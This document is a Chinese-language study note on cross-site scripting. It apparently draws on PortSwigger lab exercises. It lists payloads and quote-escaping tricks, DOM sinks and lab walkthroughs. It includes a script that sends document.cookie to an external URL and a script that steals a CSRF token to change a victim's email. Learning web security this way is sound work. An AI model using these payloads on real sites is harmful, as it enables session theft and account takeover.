1. XSS成因
用户在客户端输入一个内容,服务端收到这个内容,并把它嵌入网页再返回给用户,这是一个常见的功能。如果用户输入的这个内容是一段精心构造的js代码,服务端恰好没有过滤,那返回的js就会被浏览器执行。
2. XSS分类
2.1 反射型
常见把js构造在URL中,然后引导其他人点击这个恶意URL,造成反射型XSS
2.2 存储型
把恶意的js发送到服务端并存储,以后其他用户每次浏览页面,都会触发XSS
2.3 DOM型
DOM型XSS是特殊的XSS,页面中有很多元素,浏览器会为这些元素创建对应的文档对象,每个对象都有属性和方法。通过构造js编辑文档对象,修改页面,获取DOM中的数据
3. XSSpayload
3.1 常用payload
<script>alert(/xss/);</script>
<BODY ONLOAD=alert('XSS')>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href = javasript:alert(1)>
3.2 常用凑js思路
a. </script>闭合前一个js
b. 跳出前一个js
'-alert(document.domain)-'
';alert(document.domain)//
c. 绕过转译字符
';alert(document.domain)// 会被转译为 \';alert(document.domain)//
所以我们输入
\';alert(document.domain)//会被转译为\\';alert(document.domain)//
js又可以成功执行了
d. 用HTML解析绕过单引号
' 代表单引号
'-alert(1)-' 等于'-alert(document.domain)-'
e. 嵌入模板跳出双引号
${alert(1)} 是一个嵌入的模板
前后闭合双引号
"${alert(1)}"
3.3 偷cookie的js
<script>
fetch('https:// ', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
3.4 配合csrf偷tokens
这样一个修改邮箱的地址框,背后带有token防止csrf
但是配合XSS 就可以偷取token,修改邮箱
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
发送一个请求 去到email页面 偷取token
发送第二个请求 携带token,修改邮箱
3.5 查找反射XSS小技巧
用Repeater模块发送payload,然后在回复里查找这个payload,如果解析了,则存在XSS
4. 可能导致DOMXSS的函数
document.write()
document.writeln()
document.domain
someDOMElement.innerHTML
someDOMElement.outerHTML
someDOMElement.insertAdjacentHTML
someDOMElement.onevent
jQuery functions:
add()
after()
append()
animate()
insertAfter()
insertBefore()
before()
html()
prepend()
replaceAll()
replaceWith()
wrap()
wrapInner()
wrapAll()
has()
constructor()
init()
index()
jQuery.parseHTML()
$.parseHTML()
5. 实战DOMXSS
a. 实战1
输入随机字符,然后做检查
发现了qqq在img内
我们拼接
“><svg onload=alert(1)>
成功触发
b. 实战2
有一个选择查询框
点击查询,bp截包查看
发现post包里有两个参数
右击查看元素
发现js会用get方法读取storeId,然后document.write写进页面里,拼接他的内容
"></select><img%20src=1%20onerror=alert(10)>
就能构成
<select name=""></select><img%20src=1%20onerror=alert(10)>
完成XSS
c. 实战3
先搜索qqqq
发现搜索内容直接嵌入到了HTML标签里
可以直接嵌入img 然后调用οnerrοr=alert()触发
d. 实战4
发现url中含有参数
在其中一个Back标签,跳转的href参数是从用户端的URL传进来的
构造url
https://ac121f241fb558428099334d007e003d.web-security-academy.net/feedback?returnPath=javascript:alert(1)
然后点击Back,完成了XSS
e. 实战5
AngularJS 在检查元素中发现了ng-app 确认js library
然后在输入框 直接两个花括号执行
{{$on.constructor('alert(1)')()}}